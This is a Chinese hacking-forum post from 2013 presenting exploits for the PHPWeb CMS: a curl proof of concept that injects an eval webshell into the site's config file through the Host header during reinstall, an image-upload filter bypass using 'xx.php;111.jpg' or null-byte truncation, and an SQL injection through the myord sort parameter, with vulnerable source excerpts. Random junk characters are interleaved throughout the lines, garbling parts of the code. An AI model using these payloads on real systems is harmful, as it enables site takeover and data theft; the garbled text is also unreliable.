找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2391|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:
* E( P* B, {+ w& Q) N
. X! u# K: t8 ^. N% p9 I% J之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码! Y; C2 K6 y% f- K1 F' C* o9 F

1 p4 R4 ~6 f6 |9 f0 l3 F% F& }8 h4 _鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件6 l3 n3 q" w+ W8 t- M5 K% y3 F# N
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
* U8 O& K: E1 V' F; |5 d5 d
, }1 ^( y" \8 q, o虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响9 L: ^  {0 ]& {4 U
& z  T) o4 A! H, J
分析:$ x  n2 \4 d, Y+ o$ G/ j1 a! k  A  H) [
% b# r2 F" ?; I; U4 @

+ x) s" G8 Z+ s5 m$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
1 T8 [# f$ R7 V, W1 \
( Z: v0 y! _! W* i1 G                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);6 |2 k* }; N# ?$ t9 n
                                            $filestr=str_replace(" ","",$filestr);
! {+ J0 Y' q  v% Q% [                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);& `; F/ Z+ n- y, f
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);  s; E( Q; x1 B
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);. _7 b; E/ K! n# P, H/ {! K
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
: z$ o, B5 z; {3 M                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);  r) N4 g2 v7 Q& x4 e
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
( V' R1 o( j) ^2 h1 C                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
  y! d. r2 o% v) n9 U7 i' B1 M
' @+ y+ a& C' {- Z6 u8 l& ?                                            fwrite(fopen($ConFile,"w"),$filestr,30000);: T& {$ Y! }' r9 ?
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^3 ]! U. t5 t: B: H/ k0 A4 [- M' t

5 m3 V0 `1 }6 B8 K0 z3 qpoc:
0 e; V3 T$ C. r$ q) v* L: y  q
4 [6 `( x& A& R4 n) W  d( C! K?
; F$ i0 B6 ~) ]# I# C( d1& p: D% t' I1 T0 `( s
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#") |7 `/ v5 o0 g5 y' j6 ~
shell地址: /config.inc.php
( x( e7 V* y. R. W0 h9 b跟之前的 phpcms一样 需要远程数据库. B( \( U. @! P8 u7 y) x; x

' R& [# [2 u8 ^——————————————————–
. c+ o4 m" F; D. W  Y% p- R( k( i; L0 C上传漏洞(需要进后台):
3 D+ k( ?4 y* w$ g: p漏洞文件: /kedit/upload_cgi/upload.php' c  n! E8 K2 K: ]  |
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
$ I9 C" F! K' y2 F/ U6 u! Q . L5 z9 g" y% k- j, {, X5 k+ C

5 Z  A- Z! M* y" }1 V9 y: }' i4 U! Z3 \<?php
; o2 v  ]7 }* i2 ?. @9 K    define("ROOTPATH", "../../");1 ]- F" R5 X& e3 l- Q& {1 C& v; q  E
    include(ROOTPATH."includes/admin.inc.php");$ U& O. e7 y( T% b
    NeedAuth(0);+ M8 Z+ D- l# A$ X% G( p

' t4 u/ R7 ?$ k4 G- u    $dt=date("Ymd",time());3 v8 {" n; M; _! @( m
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){  c5 D/ \) H7 p6 ^6 m! p/ f+ W
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);* j  B4 y' J% v1 O8 t
    }
8 P/ s( P2 c* r+ g! G 6 T, S3 B2 V" V$ W
    //文件保存目录路径# B/ P: A) {2 s- D1 S
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
  E2 B* G4 k$ B1 K; S7 w5 R  t2 M    echo $save_path;
3 S0 n7 A: \1 Y- o" m$ m* h    //文件保存目录URL
, \0 G% [, o( @$ o, Q, g% `    $save_url = '../../'.$_POST['attachPath'].$dt.'/';: V9 i  l/ H4 s; i; b7 |5 B& N
' v) O$ G; n8 i( p
    //定义允许上传的文件扩展名
7 x% O8 a8 c' k    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
% N2 t5 q. c7 Y9 ^: n4 e8 N4 m$ l0 ` 3 a( l+ x) \% N* R: B6 r
    //最大文件大小  s& o! h4 c* d( ?* [
    $max_size = 1000000;  X' a8 A: a3 i2 d7 Y+ o

( d/ a" {& s! M$ i. A    //更改目录权限
: W6 U: M- ]( d    @mkdir($save_path, 0777);9 \: R5 q, f% W" a! J7 L

8 g1 s4 h9 X8 ^1 B    //文件的全部路径
) l" i3 z: Z; i    $file_path = $save_path.$_POST['fileName'];   //保存文件名" g2 A. F" G. z5 D* P1 O6 D

1 |4 ~& J& {' @    //文件URL4 M( [8 ?: @# E( h2 M* I3 m
    $file_url = $save_url.$_POST['fileName'];
- O8 u- K- Q5 N( P//有上传文件时
1 C0 \& P9 X  j& k& Q( C$ s2 {    if (empty($_FILES) === false) {
7 t" \3 R4 p/ o, b
7 `$ K( f) b. I            //原文件名$ Y% V  O7 l0 @6 ]
            $file_name = $_FILES['fileData']['name'];
3 g% \$ w( ~2 B" [            //服务器上临时文件名
4 i' l( E% k6 W  t            $tmp_name = $_FILES['fileData']['tmp_name'];
3 ^  a9 E& Z0 [            //文件大小' m! i! h4 u8 p! [% j2 V
            $file_size = $_FILES['fileData']['size'];
7 {" v# n9 `! ^            //检查目录- i7 w& k: L1 [. r. R' Y7 ^: E
            if (@is_dir($save_path) === false) {
4 o5 O" t2 T1 ~4 C                    alert("上传目录不存在。");
4 ?$ g4 q7 s7 w3 [" j6 G' V, U. g            }+ \0 H; o) D* I% c3 h1 O- e7 F, F
            //检查目录写权限
6 V; m8 I: c, C' Q' L# g+ _5 E            if (@is_writable($save_path) === false) {8 z6 i+ p/ \& m; L5 X0 R
                    alert("上传目录没有写权限。");
' _, L( P$ C  }/ c* {, n: ^1 W/ L" i            }2 L. R6 r6 q  @( T. S$ \
            //检查是否已上传
1 t, g+ ?+ [  k  V% U            if (@is_uploaded_file($tmp_name) === false) {' w, n5 p9 E# g( `& f0 V
                    alert("临时文件可能不是上传文件。");
9 D  b- U9 C8 V) w1 [            }  F( Z8 ?( D1 n$ j2 `
            //检查文件大小
/ c' ~4 [0 o, S            if ($file_size > $max_size) {6 B% ~0 \  l) \0 n" B# m' ~
                    alert("上传文件大小超过限制。");% r" M. b. T: U
            }! Y4 E$ q' r; N2 j6 e- V
            //获得文件扩展名
/ V) ~1 n  Q8 _  l9 }  `            $temp_arr = explode(".", $_POST['fileName']);) r. h* R+ L' E! ~8 V
            $file_ext = array_pop($temp_arr);
/ W+ O) z) s( q. f            $file_ext = trim($file_ext);
3 ~4 z8 p& n0 R/ ^9 |- A            $file_ext = strtolower($file_ext);
6 W8 I3 ?7 I9 d* V( m8 e. { , v& I! b' P& F9 j& h
            //检查扩展名   7 r0 i8 A2 `2 M8 x! C
            if (in_array($file_ext, $ext_arr) === false) {     
  I) K* ?- v% X  v0 K  _' H% c                    alert("上传文件扩展名是不允许的扩展名。");
; m3 f8 h& G4 [' U            }
+ {% y" d" A& F( P7 @% ]
. x/ I! b" u/ @2 B' a0 L" y            //移动文件   % L- b9 e( Y% {: F& _# @
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^$ @/ j5 L" Z$ n- r
            if (move_uploaded_file($tmp_name, $file_path) === false) {  c1 x' ~# v7 f1 p, R
                    alert("上传文件失败。");
4 h' Y$ ]' k7 D- }/ o            }
  O7 r: ?. P$ I+ h+ x/ O4 Y' p4 a) m
# m4 ~, d0 L7 S! P0 @            @chmod($file_path,0666);
% A; z' Y5 O5 E- g# f* q8 J- _
; W! x6 H5 m4 _& `" j    ?>1 I  p" \* L7 T# r& s* b& x& k
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
! P. k" O2 q9 Z2 g
$ W5 o' o- A4 @, s& A: i$ Gapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
3 A4 }5 o5 ?  ~: |  z0 j  c 2 F" O# l5 N  O: M( r/ x7 M% g
——————————————————) ~* l# {8 O! J, i6 z- c* j4 E8 N
注入漏洞:
" o1 m+ a; d. G+ W) T1 o: a" ]& c6 q漏洞文件:search/module/search.php
$ A; Q: R' ^+ e. J0 g, R/search/index.php?key=1&myord=1 [sqlinjection], W  X1 m5 r& J: [! i, y

( Z  K# m3 K3 F8 {8 K   m6 U6 t0 P& z$ d
<?php$ k6 n4 S" C/ ^
   //       ... 省略 n 行...- a4 M- W3 c/ w9 f% N- R
   //第18行:  E& q+ H. f) x0 {
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
  D& @1 b& @: _' e' o           $page=htmlspecialchars($_GET["page"]);
  t3 X8 D% [  k, m3 `" u           $myord=htmlspecialchars($_GET["myord"]);; m/ A  {4 w: T+ p! M- z+ C! B
+ b* T9 E! Q: @2 L5 P" L
   //       ... 省略 n 行..." m* X7 @. ?- \* R
   $key,$myord 两个参数带入查询+ T' ]' Z/ U+ g8 K) l9 o) |( e4 k0 L- g
   //第47行 $key:( {$ a- {+ \! Z3 g9 }

0 G1 F' R- \# h3 @9 W   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..8 ?4 M7 @+ m- X) V. [
3 l1 p! U# L4 V& W- j; s' w$ R
   //第197行 $myord
: {9 A2 k5 p% O   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入7 L6 G: N. n% G& M1 S
1 n' @  q  h' \! j7 R
   ?>
' k6 p8 U0 q; @9 u; g
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表